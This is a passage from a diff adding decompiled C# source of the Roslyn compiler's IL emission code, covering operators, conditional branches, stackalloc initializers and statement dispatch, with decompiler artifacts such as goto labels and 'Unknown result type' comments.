_builder.MarkLabel(obj); + static bool hasIntegralValueZeroOrOne(BoundExpression boundExpression, out bool reference) + { + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + ulong uInt64Value = default(ulong); + bool flag; + if (constantValueOpt != null) + { + if (constantValueOpt != null && constantValueOpt.IsIntegral) + { + uInt64Value = constantValueOpt.UInt64Value; + if (uInt64Value <= 1) + { + flag = true; + goto IL_0029; + } + } + flag = false; + goto IL_0029; + } + goto IL_007a; + IL_007a: + reference = false; + return false; + IL_0029: + if (flag) + { + reference = uInt64Value == 1; + return true; + } + if (constantValueOpt != null && constantValueOpt.IsBoolean) + { + bool booleanValue = constantValueOpt.BooleanValue; + reference = booleanValue; + return true; + } + char charValue = default(char); + if (constantValueOpt != null && constantValueOpt.IsChar) + { + charValue = constantValueOpt.CharValue; + if (charValue == '\0' || charValue == '\u0001') + { + flag = true; + goto IL_006e; + } + } + flag = false; + goto IL_006e; + IL_006e: + if (flag) + { + reference = charValue == '\u0001'; + return true; + } + goto IL_007a; + } + } + + private void EmitNullCoalescingOperator(BoundNullCoalescingOperator expr, bool used) + { + EmitExpression(expr.LeftOperand, used: true); + TypeSymbol typeSymbol = StackMergeType(expr.LeftOperand); + if (used) + { + if (IsVarianceCast(expr.Type, typeSymbol)) + { + EmitStaticCast(expr.Type, expr.Syntax); + typeSymbol = expr.Type; + } + else if (expr.Type.IsInterfaceType() && !TypeSymbol.Equals(expr.Type, typeSymbol, (TypeCompareKind)0)) + { + EmitStaticCast(expr.Type, expr.Syntax); + } + _builder.EmitOpCode(ILOpCode.Dup); + } + if (expr.Type.IsTypeParameter()) + { + EmitBox(expr.Type, expr.LeftOperand.Syntax); + } + object obj = new object(); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + if (used) + { + _builder.EmitOpCode(ILOpCode.Pop); + } + EmitExpression(expr.RightOperand, used); + if (used) + { + TypeSymbol typeSymbol2 = StackMergeType(expr.RightOperand); + if (IsVarianceCast(expr.Type, typeSymbol2)) + { + EmitStaticCast(expr.Type, expr.Syntax); + typeSymbol2 = expr.Type; + } + } + _builder.MarkLabel(obj); + } + + private TypeSymbol StackMergeType(BoundExpression expr) + { + if (!expr.Type.IsInterfaceType() && !expr.Type.IsDelegateType()) + { + return expr.Type; + } + switch (expr.Kind) + { + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expr; + ConversionKind conversionKind = boundConversion.ConversionKind; + if (conversionKind.IsImplicitConversion() && conversionKind != ConversionKind.MethodGroup && conversionKind != ConversionKind.NullLiteral && conversionKind != ConversionKind.DefaultLiteral) + { + return StackMergeType(boundConversion.Operand); + } + break; + } + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expr; + return StackMergeType(boundAssignmentOperator.Right); + } + case BoundKind.Sequence: + { + BoundSequence boundSequence = (BoundSequence)expr; + return StackMergeType(boundSequence.Value); + } + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)expr; + if (IsStackLocal(boundLocal.LocalSymbol)) + { + return null; + } + break; + } + case BoundKind.Dup: + return null; + } + return expr.Type; + } + + private static bool IsVarianceCast(TypeSymbol to, TypeSymbol from) + { + if (TypeSymbol.Equals(to, from, (TypeCompareKind)0)) + { + return false; + } + if ((object)from == null) + { + return true; + } + if (to.IsArray()) + { + return IsVarianceCast(((ArrayTypeSymbol)to).ElementType, ((ArrayTypeSymbol)from).ElementType); + } + if (!to.IsDelegateType() || TypeSymbol.Equals(to, from, (TypeCompareKind)0)) + { + if (to.IsInterfaceType() && from.IsInterfaceType()) + { + return !from.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.ContainsKey((NamedTypeSymbol)to); + } + return false; + } + return true; + } + + private void EmitStaticCast(TypeSymbol to, SyntaxNode syntax) + { + LocalDefinition val = AllocateTemp(to, syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val); + _builder.EmitLocalLoad(val); + FreeTemp(val); + } + + private void EmitBox(TypeSymbol type, SyntaxNode syntaxNode) + { + _builder.EmitOpCode(ILOpCode.Box); + EmitSymbolToken(type, syntaxNode); + } + + private void EmitCalli(BoundFunctionPointerInvocation ptrInvocation, UseKind useKind) + { + EmitExpression(ptrInvocation.InvokedExpression, used: true); + LocalDefinition val = null; + if (ptrInvocation.Arguments.Length > 0) + { + val = AllocateTemp(ptrInvocation.InvokedExpression.Type, ptrInvocation.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val); + } + FunctionPointerMethodSymbol signature = ptrInvocation.FunctionPointer.Signature; + EmitArguments(ptrInvocation.Arguments, signature.Parameters, ptrInvocation.ArgumentRefKindsOpt); + int callStackBehavior = GetCallStackBehavior(ptrInvocation.FunctionPointer.Signature, ptrInvocation.Arguments); + if (val != null) + { + _builder.EmitLocalLoad(val); + FreeTemp(val); + } + _builder.EmitOpCode(ILOpCode.Calli, callStackBehavior); + EmitSignatureToken(ptrInvocation.FunctionPointer, ptrInvocation.Syntax); + EmitCallCleanup(ptrInvocation.Syntax, useKind, signature); + } + + private void EmitCallCleanup(SyntaxNode syntax, UseKind useKind, MethodSymbol method) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (!method.ReturnsVoid) + { + EmitPopIfUnused(useKind != UseKind.Unused); + } + else if ((int)_ilEmitStyle == 0) + { + _builder.EmitOpCode(ILOpCode.Nop); + } + if (useKind == UseKind.UsedAsValue && (int)method.RefKind != 0) + { + EmitLoadIndirect(method.ReturnType, syntax); + } + else + { + _ = 2; + } + } + + private void EmitLoadFunction(BoundFunctionPointerLoad load, bool used) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + if (!used) + { + return; + } + if ((load.TargetMethod.IsAbstract || load.TargetMethod.IsVirtual) && load.TargetMethod.IsStatic) + { + TypeSymbol constrainedToTypeOpt = load.ConstrainedToTypeOpt; + if ((object)constrainedToTypeOpt == null || (int)constrainedToTypeOpt.TypeKind != 11) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/EmitExpression.cs", 4073); + } + _builder.EmitOpCode(ILOpCode.Constrained); + EmitSymbolToken(load.ConstrainedToTypeOpt, load.Syntax); + } + _builder.EmitOpCode(ILOpCode.Ldftn); + EmitSymbolToken(load.TargetMethod, load.Syntax, null); + } + + private void EmitUnaryOperatorExpression(BoundUnaryOperator expression, bool used) + { + UnaryOperatorKind operatorKind = expression.OperatorKind; + if (operatorKind.IsChecked()) + { + EmitUnaryCheckedOperatorExpression(expression, used); + return; + } + if (!used) + { + EmitExpression(expression.Operand, used: false); + return; + } + if (operatorKind == UnaryOperatorKind.BoolLogicalNegation) + { + EmitCondExpr(expression.Operand, sense: false); + return; + } + EmitExpression(expression.Operand, used: true); + switch (operatorKind.Operator()) + { + case UnaryOperatorKind.UnaryMinus: + _builder.EmitOpCode(ILOpCode.Neg); + break; + case UnaryOperatorKind.BitwiseComplement: + _builder.EmitOpCode(ILOpCode.Not); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)operatorKind.Operator()); + case UnaryOperatorKind.UnaryPlus: + break; + } + } + + private void EmitBinaryOperatorExpression(BoundBinaryOperator expression, bool used) + { + BinaryOperatorKind operatorKind = expression.OperatorKind; + if (operatorKind.EmitsAsCheckedInstruction()) + { + EmitBinaryOperator(expression); + } + else + { + if (!used && !operatorKind.IsLogical() && !OperatorHasSideEffects(operatorKind)) + { + EmitExpression(expression.Left, used: false); + EmitExpression(expression.Right, used: false); + return; + } + if (IsConditional(operatorKind)) + { + EmitBinaryCondOperator(expression, sense: true); + } + else + { + EmitBinaryOperator(expression); + } + } + EmitPopIfUnused(used); + } + + private void EmitBinaryOperator(BoundBinaryOperator expression) + { + BoundExpression left = expression.Left; + if (left.Kind != BoundKind.BinaryOperator || left.ConstantValueOpt != (ConstantValue)null) + { + EmitBinaryOperatorSimple(expression); + return; + } + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)left; + BinaryOperatorKind operatorKind = boundBinaryOperator.OperatorKind; + if (!operatorKind.EmitsAsCheckedInstruction() && IsConditional(operatorKind)) + { + EmitBinaryOperatorSimple(expression); + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, expression); + do + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperator); + left = boundBinaryOperator.Left; + if (left.Kind != BoundKind.BinaryOperator || left.ConstantValueOpt != (ConstantValue)null) + { + break; + } + boundBinaryOperator = (BoundBinaryOperator)left; + operatorKind = boundBinaryOperator.OperatorKind; + } + while (operatorKind.EmitsAsCheckedInstruction() || !IsConditional(operatorKind)); + EmitExpression(left, used: true); + do + { + boundBinaryOperator = ArrayBuilderExtensions.Pop(instance); + EmitExpression(boundBinaryOperator.Right, used: true); + bool flag = boundBinaryOperator.OperatorKind.EmitsAsCheckedInstruction(); + if (flag) + { + EmitBinaryCheckedOperatorInstruction(boundBinaryOperator); + } + else + { + EmitBinaryOperatorInstruction(boundBinaryOperator); + } + EmitConversionToEnumUnderlyingType(boundBinaryOperator, flag); + } + while (instance.Count > 0); + instance.Free(); + } + + private void EmitBinaryOperatorSimple(BoundBinaryOperator expression) + { + EmitExpression(expression.Left, used: true); + EmitExpression(expression.Right, used: true); + bool flag = expression.OperatorKind.EmitsAsCheckedInstruction(); + if (flag) + { + EmitBinaryCheckedOperatorInstruction(expression); + } + else + { + EmitBinaryOperatorInstruction(expression); + } + EmitConversionToEnumUnderlyingType(expression, flag); + } + + private void EmitBinaryOperatorInstruction(BoundBinaryOperator expression) + { + switch (expression.OperatorKind.Operator()) + { + case BinaryOperatorKind.Multiplication: + _builder.EmitOpCode(ILOpCode.Mul); + break; + case BinaryOperatorKind.Addition: + _builder.EmitOpCode(ILOpCode.Add); + break; + case BinaryOperatorKind.Subtraction: + _builder.EmitOpCode(ILOpCode.Sub); + break; + case BinaryOperatorKind.Division: + if (IsUnsignedBinaryOperator(expression)) + { + _builder.EmitOpCode(ILOpCode.Div_un); + } + else + { + _builder.EmitOpCode(ILOpCode.Div); + } + break; + case BinaryOperatorKind.Remainder: + if (IsUnsignedBinaryOperator(expression)) + { + _builder.EmitOpCode(ILOpCode.Rem_un); + } + else + { + _builder.EmitOpCode(ILOpCode.Rem); + } + break; + case BinaryOperatorKind.LeftShift: + _builder.EmitOpCode(ILOpCode.Shl); + break; + case BinaryOperatorKind.RightShift: + if (IsUnsignedBinaryOperator(expression)) + { + _builder.EmitOpCode(ILOpCode.Shr_un); + } + else + { + _builder.EmitOpCode(ILOpCode.Shr); + } + break; + case BinaryOperatorKind.UnsignedRightShift: + _builder.EmitOpCode(ILOpCode.Shr_un); + break; + case BinaryOperatorKind.And: + _builder.EmitOpCode(ILOpCode.And); + break; + case BinaryOperatorKind.Xor: + _builder.EmitOpCode(ILOpCode.Xor); + break; + case BinaryOperatorKind.Or: + _builder.EmitOpCode(ILOpCode.Or); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)expression.OperatorKind.Operator()); + } + } + + private void EmitShortCircuitingOperator(BoundBinaryOperator condition, bool sense, bool stopSense, bool stopValue) + { + object dest = null; + EmitCondBranch(condition.Left, ref dest, stopSense); + EmitCondExpr(condition.Right, sense); + if (dest != null) + { + object obj = new object(); + _builder.EmitBranch(ILOpCode.Br, obj, ILOpCode.Nop); + _builder.AdjustStack(-1); + _builder.MarkLabel(dest); + _builder.EmitBoolConstant(stopValue); + _builder.MarkLabel(obj); + } + } + + private void EmitBinaryCondOperator(BoundBinaryOperator binOp, bool sense) + { + bool flag = sense; + BinaryOperatorKind binaryOperatorKind = binOp.OperatorKind.OperatorWithLogical(); + int num; + if (binaryOperatorKind <= BinaryOperatorKind.GreaterThanOrEqual) + { + if (binaryOperatorKind <= BinaryOperatorKind.NotEqual) + { + if (binaryOperatorKind != BinaryOperatorKind.Equal) + { + if (binaryOperatorKind != BinaryOperatorKind.NotEqual) + { + goto IL_01db; + } + sense = !sense; + } + ConstantValue constantValueOpt = binOp.Left.ConstantValueOpt; + BoundExpression boundExpression = binOp.Right; + if (constantValueOpt == (ConstantValue)null) + { + constantValueOpt = boundExpression.ConstantValueOpt; + boundExpression = binOp.Left; + } + if (constantValueOpt != (ConstantValue)null) + { + if (constantValueOpt.IsDefaultValue) + { + if (!constantValueOpt.IsFloating) + { + if (sense) + { + EmitIsNullOrZero(boundExpression, constantValueOpt); + } + else + { + EmitIsNotNullOrZero(boundExpression, constantValueOpt); + } + return; + } + } + else if (constantValueOpt.IsBoolean) + { + EmitExpression(boundExpression, used: true); + EmitIsSense(sense); + return; + } + } + EmitBinaryCondOperatorHelper(ILOpCode.Ceq, binOp.Left, binOp.Right, sense); + return; + } + if (binaryOperatorKind != BinaryOperatorKind.GreaterThan) + { + if (binaryOperatorKind != BinaryOperatorKind.LessThan) + { + if (binaryOperatorKind != BinaryOperatorKind.GreaterThanOrEqual) + { + goto IL_01db; + } + num = 3; + sense = !sense; + } + else + { + num = 0; + } + } + else + { + num = 2; + } + } + else + { + if (binaryOperatorKind > BinaryOperatorKind.Xor) + { + if (binaryOperatorKind != BinaryOperatorKind.Or) + { + if (binaryOperatorKind != BinaryOperatorKind.LogicalAnd) + { + if (binaryOperatorKind != BinaryOperatorKind.LogicalOr) + { + goto IL_01db; + } + flag = !flag; + } + if (!flag) + { + EmitShortCircuitingOperator(binOp, sense, sense, stopValue: true); + } + else + { + EmitShortCircuitingOperator(binOp, sense, !sense, stopValue: false); + } + } + else + { + EmitBinaryCondOperatorHelper(ILOpCode.Or, binOp.Left, binOp.Right, sense); + } + return; + } + if (binaryOperatorKind != BinaryOperatorKind.LessThanOrEqual) + { + switch (binaryOperatorKind) + { + case BinaryOperatorKind.And: + EmitBinaryCondOperatorHelper(ILOpCode.And, binOp.Left, binOp.Right, sense); + return; + case BinaryOperatorKind.Xor: + if (sense) + { + EmitBinaryCondOperatorHelper(ILOpCode.Xor, binOp.Left, binOp.Right, sense: true); + } + else + { + EmitBinaryCondOperatorHelper(ILOpCode.Ceq, binOp.Left, binOp.Right, sense: true); + } + return; + } + goto IL_01db; + } + num = 1; + sense = !sense; + } + if (IsUnsignedBinaryOperator(binOp)) + { + num += 4; + } + else if (IsFloat(binOp.OperatorKind)) + { + num += 8; + } + EmitBinaryCondOperatorHelper(s_compOpCodes[num], binOp.Left, binOp.Right, sense); + return; + IL_01db: + throw ExceptionUtilities.UnexpectedValue((object)binOp.OperatorKind.OperatorWithLogical()); + } + + private void EmitIsNotNullOrZero(BoundExpression comparand, ConstantValue nullOrZero) + { + EmitExpression(comparand, used: true); + TypeSymbol type = comparand.Type; + if (type.IsReferenceType && !type.IsVerifierReference()) + { + EmitBox(type, comparand.Syntax); + } + _builder.EmitConstantValue(nullOrZero); + _builder.EmitOpCode(ILOpCode.Cgt_un); + } + + private void EmitIsNullOrZero(BoundExpression comparand, ConstantValue nullOrZero) + { + EmitExpression(comparand, used: true); + TypeSymbol type = comparand.Type; + if (type.IsReferenceType && !type.IsVerifierReference()) + { + EmitBox(type, comparand.Syntax); + } + _builder.EmitConstantValue(nullOrZero); + _builder.EmitOpCode(ILOpCode.Ceq); + } + + private void EmitBinaryCondOperatorHelper(ILOpCode opCode, BoundExpression left, BoundExpression right, bool sense) + { + EmitExpression(left, used: true); + EmitExpression(right, used: true); + _builder.EmitOpCode(opCode); + EmitIsSense(sense); + } + + private void EmitCondExpr(BoundExpression condition, bool sense) + { + RemoveNegation(ref condition, ref sense); + ConstantValue constantValueOpt = condition.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + bool booleanValue = constantValueOpt.BooleanValue; + _builder.EmitBoolConstant(booleanValue == sense); + return; + } + if (condition.Kind == BoundKind.BinaryOperator) + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)condition; + if (IsConditional(boundBinaryOperator.OperatorKind)) + { + EmitBinaryCondOperator(boundBinaryOperator, sense); + return; + } + } + EmitExpression(condition, used: true); + EmitIsSense(sense); + } + + private bool TryEmitComparison(BoundExpression condition, bool sense) + { + RemoveNegation(ref condition, ref sense); + ConstantValue constantValueOpt = condition.ConstantValueOpt; + if (constantValueOpt != null) + { + _builder.EmitBoolConstant(constantValueOpt.BooleanValue == sense); + return true; + } + if (condition is BoundBinaryOperator boundBinaryOperator) + { + if (boundBinaryOperator.OperatorKind.IsComparison()) + { + EmitBinaryCondOperator(boundBinaryOperator, sense); + return true; + } + return false; + } + if (condition is BoundIsOperator isOp) + { + EmitIsExpression(isOp, used: true, omitBooleanConversion: true); + _builder.EmitOpCode(ILOpCode.Ldnull); + _builder.EmitOpCode(sense ? ILOpCode.Cgt_un : ILOpCode.Ceq); + return true; + } + EmitExpression(condition, used: true); + _builder.EmitOpCode(ILOpCode.Ldc_i4_0); + _builder.EmitOpCode(sense ? ILOpCode.Cgt_un : ILOpCode.Ceq); + return true; + } + + private static void RemoveNegation(ref BoundExpression condition, ref bool sense) + { + while (condition is BoundUnaryOperator boundUnaryOperator) + { + condition = boundUnaryOperator.Operand; + sense = !sense; + } + } + + private void EmitUnaryCheckedOperatorExpression(BoundUnaryOperator expression, bool used) + { + UnaryOperatorKind unaryOperatorKind = expression.OperatorKind.OperandTypes(); + _builder.EmitOpCode(ILOpCode.Ldc_i4_0); + switch (unaryOperatorKind) + { + case UnaryOperatorKind.Long: + _builder.EmitOpCode(ILOpCode.Conv_i8); + break; + case UnaryOperatorKind.NInt: + _builder.EmitOpCode(ILOpCode.Conv_i); + break; + } + EmitExpression(expression.Operand, used: true); + _builder.EmitOpCode(ILOpCode.Sub_ovf); + EmitPopIfUnused(used); + } + + private void EmitConversionToEnumUnderlyingType(BoundBinaryOperator expression, bool @checked) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected I4, but got Unknown + TypeSymbol typeSymbol; + switch (expression.OperatorKind.Operator() | expression.OperatorKind.OperandTypes()) + { + case BinaryOperatorKind.EnumAndUnderlyingAddition: + case BinaryOperatorKind.EnumSubtraction: + case BinaryOperatorKind.EnumAndUnderlyingSubtraction: + typeSymbol = expression.Left.Type; + break; + case BinaryOperatorKind.EnumAnd: + case BinaryOperatorKind.EnumXor: + case BinaryOperatorKind.EnumOr: + typeSymbol = null; + break; + case BinaryOperatorKind.UnderlyingAndEnumAddition: + case BinaryOperatorKind.UnderlyingAndEnumSubtraction: + typeSymbol = expression.Right.Type; + break; + default: + typeSymbol = null; + break; + } + if ((object)typeSymbol != null) + { + SpecialType specialType = typeSymbol.GetEnumUnderlyingType().SpecialType; + switch (specialType - 9) + { + case 1: + _builder.EmitNumericConversion((PrimitiveTypeCode)6, (PrimitiveTypeCode)12, @checked); + break; + case 0: + _builder.EmitNumericConversion((PrimitiveTypeCode)6, (PrimitiveTypeCode)2, @checked); + break; + case 2: + _builder.EmitNumericConversion((PrimitiveTypeCode)6, (PrimitiveTypeCode)5, @checked); + break; + case 3: + _builder.EmitNumericConversion((PrimitiveTypeCode)6, (PrimitiveTypeCode)13, @checked); + break; + } + } + } + + private void EmitBinaryCheckedOperatorInstruction(BoundBinaryOperator expression) + { + bool flag = IsUnsignedBinaryOperator(expression); + switch (expression.OperatorKind.Operator()) + { + case BinaryOperatorKind.Multiplication: + if (flag) + { + _builder.EmitOpCode(ILOpCode.Mul_ovf_un); + } + else + { + _builder.EmitOpCode(ILOpCode.Mul_ovf); + } + break; + case BinaryOperatorKind.Addition: + if (flag) + { + _builder.EmitOpCode(ILOpCode.Add_ovf_un); + } + else + { + _builder.EmitOpCode(ILOpCode.Add_ovf); + } + break; + case BinaryOperatorKind.Subtraction: + if (flag) + { + _builder.EmitOpCode(ILOpCode.Sub_ovf_un); + } + else + { + _builder.EmitOpCode(ILOpCode.Sub_ovf); + } + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)expression.OperatorKind.Operator()); + } + } + + private static bool OperatorHasSideEffects(BinaryOperatorKind kind) + { + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + if (binaryOperatorKind == BinaryOperatorKind.Division || binaryOperatorKind == BinaryOperatorKind.Remainder) + { + return true; + } + return kind.IsChecked(); + } + + private void EmitIsSense(bool sense) + { + if (!sense) + { + _builder.EmitOpCode(ILOpCode.Ldc_i4_0); + _builder.EmitOpCode(ILOpCode.Ceq); + } + } + + private static bool IsUnsigned(SpecialType type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected I4, but got Unknown + switch (type - 10) + { + case 0: + case 2: + case 4: + case 6: + return true; + default: + return false; + } + } + + private static bool IsUnsignedBinaryOperator(BoundBinaryOperator op) + { + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + switch (op.OperatorKind.OperandTypes()) + { + case BinaryOperatorKind.Enum: + case BinaryOperatorKind.EnumAndUnderlying: + return IsUnsigned(Binder.GetEnumPromotedType(op.Left.Type.GetEnumUnderlyingType().SpecialType)); + case BinaryOperatorKind.UnderlyingAndEnum: + return IsUnsigned(Binder.GetEnumPromotedType(op.Right.Type.GetEnumUnderlyingType().SpecialType)); + case BinaryOperatorKind.UInt: + case BinaryOperatorKind.ULong: + case BinaryOperatorKind.NUInt: + case BinaryOperatorKind.Pointer: + case BinaryOperatorKind.PointerAndInt: + case BinaryOperatorKind.PointerAndUInt: + case BinaryOperatorKind.PointerAndLong: + case BinaryOperatorKind.PointerAndULong: + case BinaryOperatorKind.ULongAndPointer: + return true; + default: + return false; + } + } + + private static bool IsConditional(BinaryOperatorKind opKind) + { + switch (opKind.OperatorWithLogical()) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + case BinaryOperatorKind.LogicalAnd: + case BinaryOperatorKind.LogicalOr: + return true; + case BinaryOperatorKind.And: + case BinaryOperatorKind.Xor: + case BinaryOperatorKind.Or: + return opKind.OperandTypes() == BinaryOperatorKind.Bool; + default: + return false; + } + } + + private static bool IsFloat(BinaryOperatorKind opKind) + { + BinaryOperatorKind binaryOperatorKind = opKind.OperandTypes(); + if ((uint)(binaryOperatorKind - 12) <= 1u) + { + return true; + } + return false; + } + + private void EmitStackAllocInitializers(TypeSymbol type, BoundArrayInitialization inits) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type2 = (((int)type.TypeKind == 9) ? ((PointerTypeSymbol)type).PointedAtTypeWithAnnotations : ((NamedTypeSymbol)type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]).Type; + ImmutableArray initializers = inits.Initializers; + ArrayInitializerStyle arrayInitializerStyle = ShouldEmitBlockInitializerForStackAlloc(type2, initializers); + if (arrayInitializerStyle == ArrayInitializerStyle.Element) + { + EmitElementStackAllocInitializers(type2, initializers, includeConstants: true); + return; + } + ImmutableArray data = GetRawData(initializers); + if (data.All((byte datum) => datum == data[0])) + { + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitIntConstant((int)data[0]); + _builder.EmitIntConstant(data.Length); + _builder.EmitOpCode(ILOpCode.Initblk, -3); + if (arrayInitializerStyle == ArrayInitializerStyle.Mixed) + { + EmitElementStackAllocInitializers(type2, initializers, includeConstants: false); + } + } + else if (SpecialTypeExtensions.SizeInBytes(type2.EnumUnderlyingTypeOrSelf().SpecialType) == 1) + { + IFieldReference fieldForData = _builder.module.GetFieldForData(data, (ushort)1, inits.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitOpCode(ILOpCode.Ldsflda); + _builder.EmitToken((IReference)(object)fieldForData, inits.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitIntConstant(data.Length); + _builder.EmitOpCode(ILOpCode.Cpblk, -3); + if (arrayInitializerStyle == ArrayInitializerStyle.Mixed) + { + EmitElementStackAllocInitializers(type2, initializers, includeConstants: false); + } + } + else + { + EmitElementStackAllocInitializers(type2, initializers, includeConstants: true); + } + } + + private ArrayInitializerStyle ShouldEmitBlockInitializerForStackAlloc(TypeSymbol elementType, ImmutableArray inits) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (((CommonPEModuleBuilder)_module).IsEncDelta) + { + return ArrayInitializerStyle.Element; + } + if (SpecialTypeExtensions.IsBlittable(elementType.EnumUnderlyingTypeOrSelf().SpecialType)) + { + int initCount = 0; + int constInits = 0; + StackAllocInitializerCount(inits, ref initCount, ref constInits); + if (initCount > 2) + { + if (initCount == constInits) + { + return ArrayInitializerStyle.Block; + } + int num = Math.Max(3, initCount / 3); + if (constInits >= num) + { + return ArrayInitializerStyle.Mixed; + } + } + } + return ArrayInitializerStyle.Element; + } + + private void StackAllocInitializerCount(ImmutableArray inits, ref int initCount, ref int constInits) + { + if (inits.Length == 0) + { + return; + } + ImmutableArray.Enumerator enumerator = inits.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + initCount++; + if (current.ConstantValueOpt != (ConstantValue)null) + { + constInits++; + } + } + } + + private void EmitElementStackAllocInitializers(TypeSymbol elementType, ImmutableArray inits, bool includeConstants) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + int elementTypeSizeInBytes = SpecialTypeExtensions.SizeInBytes(elementType.EnumUnderlyingTypeOrSelf().SpecialType); + ImmutableArray.Enumerator enumerator = inits.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (includeConstants || current.ConstantValueOpt == (ConstantValue)null) + { + _builder.EmitOpCode(ILOpCode.Dup); + EmitPointerElementAccess(current, elementType, elementTypeSizeInBytes, num); + EmitExpression(current, used: true); + EmitIndirectStore(elementType, current.Syntax); + } + num++; + } + } + + private void EmitPointerElementAccess(BoundExpression init, TypeSymbol elementType, int elementTypeSizeInBytes, int index) + { + if (index != 0) + { + if (elementTypeSizeInBytes == 1) + { + _builder.EmitIntConstant(index); + _builder.EmitOpCode(ILOpCode.Add); + return; + } + if (index == 1) + { + EmitIntConstantOrSizeOf(init, elementType, elementTypeSizeInBytes); + _builder.EmitOpCode(ILOpCode.Add); + return; + } + _builder.EmitIntConstant(index); + _builder.EmitOpCode(ILOpCode.Conv_i); + EmitIntConstantOrSizeOf(init, elementType, elementTypeSizeInBytes); + _builder.EmitOpCode(ILOpCode.Mul); + _builder.EmitOpCode(ILOpCode.Add); + } + } + + private void EmitIntConstantOrSizeOf(BoundExpression init, TypeSymbol elementType, int elementTypeSizeInBytes) + { + if (elementTypeSizeInBytes == 0) + { + _builder.EmitOpCode(ILOpCode.Sizeof); + EmitSymbolToken(elementType, init.Syntax); + } + else + { + _builder.EmitIntConstant(elementTypeSizeInBytes); + } + } + + private void EmitStatement(BoundStatement statement) + { + switch (statement.Kind) + { + case BoundKind.Block: + EmitBlock((BoundBlock)statement); + break; + case BoundKind.Scope: + EmitScope((BoundScope)statement); + break; + case BoundKind.SequencePoint: + EmitSequencePointStatement((BoundSequencePoint)statement); + break; + case BoundKind.SequencePointWithSpan: + EmitSequencePointStatement((BoundSequencePointWithSpan)statement); + break; + case BoundKind.SavePreviousSequencePoint: + EmitSavePreviousSequencePoint((BoundSavePreviousSequencePoint)statement); + break; + case BoundKind.RestorePreviousSequencePoint: + EmitRestorePreviousSequencePoint((BoundRestorePreviousSequencePoint)statement); + break; + case BoundKind.StepThroughSequencePoint: + EmitStepThroughSequencePoint((BoundStepThroughSequencePoint)statement); + break; + case BoundKind.ExpressionStatement: + EmitExpression(((BoundExpressionStatement)statement).Expression, used: false); + break; + case BoundKind.StatementList: + EmitStatementList((BoundStatementList)statement); + break; + case BoundKind.ReturnStatement: + EmitReturnStatement((BoundReturnStatement)statement); + break; + case BoundKind.GotoStatement: + EmitGotoStatement((BoundGotoStatement)statement); + break; + case BoundKind.LabelStatement: + EmitLabelStatement((BoundLabelStatement)statement); + break; + case BoundKind.ConditionalGoto: + EmitConditionalGoto((BoundConditionalGoto)statement); + break; + case BoundKind.ThrowStatement: + EmitThrowStatement((BoundThrowStatement)statement); + break; + case BoundKind.TryStatement: + EmitTryStatement((BoundTryStatement)statement); + break; + case BoundKind.SwitchDispatch: + EmitSwitchDispatch((BoundSwitchDispatch)statement); + break; + case BoundKind.StateMachineScope: + EmitStateMachineScope((BoundStateMachineScope)statement); + break; + case BoundKind.NoOpStatement: + EmitNoOpStatement((BoundNoOpStatement)statement); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)statement.Kind); + } + ReleaseExpressionTemps(); + } + + private int EmitStatementAndCountInstructions(BoundStatement statement) + { + int instructionsEmitted = _builder.InstructionsEmitted; + EmitStatement(statement); + return _builder.InstructionsEmitted - instructionsEmitted; + } + + private void EmitStatementList(BoundStatementList list) + { + int i = 0; + for (int length = list.Statements.Length; i < length; i++) + { + EmitStatement(list.Statements[i]); + } + } + + private void EmitNoOpStatement(BoundNoOpStatement statement) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + switch (statement.Flavor) + { + case NoOpStatementFlavor.Default: + 